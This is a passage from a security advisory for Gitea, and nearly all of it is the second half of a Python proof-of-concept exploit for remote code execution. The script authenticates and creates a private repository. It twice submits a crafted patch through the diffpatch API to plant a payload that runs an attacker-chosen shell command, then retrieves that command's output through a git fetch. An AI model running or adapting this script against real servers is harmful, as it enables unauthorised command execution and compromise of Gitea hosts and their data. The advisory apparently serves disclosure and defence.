Advisory

GHSA-rcr6-4jqh-j84m

Details, part 2 of 2. The advisory

Details

stdout=subprocess.PIPE, stderr=subprocess.PIPE,
check=False, timeout=TIMEOUT,
)
except subprocess.TimeoutExpired as exc:
raise PocError(f"git timed out after {TIMEOUT:g}s") from exc
except OSError as exc:
raise PocError(f"could not run git: {exc}") from exc
if result.returncode != 0:
err = result.stderr.decode("utf-8", errors="replace")[:2_000].strip()
raise PocError(f"git exit {result.returncode}: {err}")
return result.stdout

def fetch_output(git: str, client: GiteaClient,
owner: str, repo: str, leak_ref: str) -> bytes:
remote = (
f"{client.base_url}/"
f"{urllib.parse.quote(owner, safe='')}/"
f"{urllib.parse.quote(repo, safe='')}.git"
)
with tempfile.TemporaryDirectory(prefix="gitea-poc-") as tmp:
bare = Path(tmp) / "fetch.git"
auth_cfg = Path(tmp) / "auth.config"
fd = os.open(auth_cfg, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
with os.fdopen(fd, "w", encoding="utf-8") as f:
f.write(f"[http]\n\textraHeader = Authorization: {client.authorization}\n")
env = {**os.environ, "GIT_TERMINAL_PROMPT": "0"}
run_git(git, ["init", "--bare", "--quiet", str(bare)], env)
run_git(git, [
"-C", str(bare), "-c", f"include.path={auth_cfg}",
"fetch", "--quiet", "--no-tags",
remote, f"refs/heads/{leak_ref}",
], env)
return run_git(git, ["-C", str(bare), "show", "FETCH_HEAD:output"], env)

def split_output(raw: bytes) -> tuple[str, int | None]:
text = raw.decode("utf-8", errors="replace")
lines = text.splitlines()
status: int | None = None
if lines:
t = lines[-1].strip()
if t.startswith("[exit-status=") and t.endswith("]"):
try: status = int(t[len("[exit-status="):-1])
except ValueError: pass
else: lines.pop()
return "\n".join(lines).rstrip("\n"), status

def parse_args() -> argparse.Namespace:
p = argparse.ArgumentParser(description="Gitea RCE PoC")
p.add_argument("url", help="Gitea base URL")
p.add_argument("username", help="existing Gitea username")
p.add_argument("command", help="shell command to execute on target")
return p.parse_args()

def main() -> int:
args = parse_args()
if "\0" in args.command:
raise PocError("command must not contain a NUL character")

password = os.environ.get("GITEA_PASSWORD") or getpass.getpass(
_g("[?]") + " password: "
)
if not password:
raise PocError("password must not be empty")

git = shutil.which("git")
if git is None:
raise PocError("git executable not found in PATH")

client = GiteaClient(args.url, args.username, password)

# version probe (pre-banner)
log_star("probing target...")
version: str | None = None
try:
r = urllib.request.Request(
client.base_url + "/api/v1/version",
headers={"Accept": "application/json", "User-Agent": USER_AGENT},
)
with urllib.request.urlopen(r, timeout=TIMEOUT) as resp:
version = json.loads(resp.read()).get("version", "unknown")
except Exception:
version = "unknown"
print_banner(client.base_url, version, args.command)

log_star(f"target={client.base_url} user={args.username} cmd={args.command}")
print()

# step 1 – authenticate
log_star("authenticating...")
sc, acct = client.api("GET", "/api/v1/user")
if sc != 200 or not isinstance(acct, dict):
log_err("authentication failed"); raise PocError("auth failed")
owner = acct.get("login")
if not isinstance(owner, str) or not owner:
log_err("no login in response"); raise PocError("no login")
log_ok(f"logged in as {owner} ({version})")

# step 2 – create repo
unique = secrets.token_hex(5)
repo = f"test-repo-{unique}"
leak_ref = f"output-{unique}"
log_star("creating repository...")
sc, _ = client.api("POST", "/api/v1/user/repos", {
"name": repo, "private": True,
"auto_init": True, "default_branch": "main",
"object_format_name": "sha1",
})
if sc != 201:
log_err("repo creation failed"); raise PocError("repo creation failed")
log_ok(f"created repo {owner}/{repo}")

# steps 3–4 – deliver payloads
body = {
"content": build_patch(build_hook(args.command, leak_ref)),
"message": "initial commit",
"branch": "main", "new_branch": "main",
}
ep = (
f"/api/v1/repos/{urllib.parse.quote(owner, safe='')}/"
f"{urllib.parse.quote(repo, safe='')}/diffpatch"
)
commits: list[str] = []
for cycle in (1, 2):
log_star(f"delivering payload {cycle}/2...")
sc, resp = client.api("POST", ep, body)
try:
commit = resp["commit"]["sha"]
except (KeyError, TypeError) as exc:
log_err(f"payload {cycle}/2 rejected")
raise PocError(f"cycle {cycle} no commit") from exc
if sc != 201:
log_err(f"payload {cycle}/2 failed")
raise PocError(f"cycle {cycle} failed")
commits.append(commit)
log_ok(f"payload {cycle}/2 accepted commit={commit[:16]}")

# step 5 – retrieve output
log_star("retrieving output...")
output = fetch_output(git, client, owner, repo, leak_ref)
log_ok("operation complete")

# command output
cmd_out, exit_status = split_output(output)
print()
log_ok(f"{args.command}:")
print(_g("---"))
if cmd_out:
for line in cmd_out.splitlines():
print(_g(line))
else:
print(_d("<no output>"))
print(_g("---"))
if exit_status == 0:
log_ok(f"exit status: {exit_status}")
elif exit_status is None:
log_star("exit status: unknown")
else:
log_err(f"exit status: {exit_status}")

return 0

if __name__ == "__main__":
try:
raise SystemExit(main())
except PocError as exc:
log_err(str(exc))
raise SystemExit(1) from None

Sources & licences